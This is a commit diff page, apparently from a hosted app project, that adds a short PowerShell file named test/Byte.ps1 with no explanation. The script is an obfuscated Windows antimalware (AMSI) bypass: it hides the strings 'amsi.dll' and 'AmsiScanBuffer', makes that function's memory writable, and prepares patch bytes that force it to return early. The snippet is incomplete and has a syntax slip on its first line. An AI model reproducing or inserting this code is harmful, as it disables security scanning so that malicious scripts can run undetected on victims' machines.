Spaces:
Runtime error
Runtime error
Create Byte.ps1
Browse files- test/Byte.ps1 +5 -0
test/Byte.ps1
ADDED
@@ -0,0 +1,5 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
{loaD`LiBR`Ary} = [WIN32]::LoadLibrary("am" + ("{0}{1}"-f'si.dl','l'))
|
2 |
+
${A`DDre`sS} = [Win32]::GetProcAddress(${LOadliBr`A`Ry}, ("{1}{0}"-f 'i','Ams') + ("{0}{1}" -f'Sc','an') + ("{1}{0}" -f'er','Buff'))
|
3 |
+
${p} = 0
|
4 |
+
[Win32]::VirtualProtect(${Ad`dre`SS}, [uint32]5, 0x40, [ref]${p})
|
5 |
+
${P`ATCH} = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
|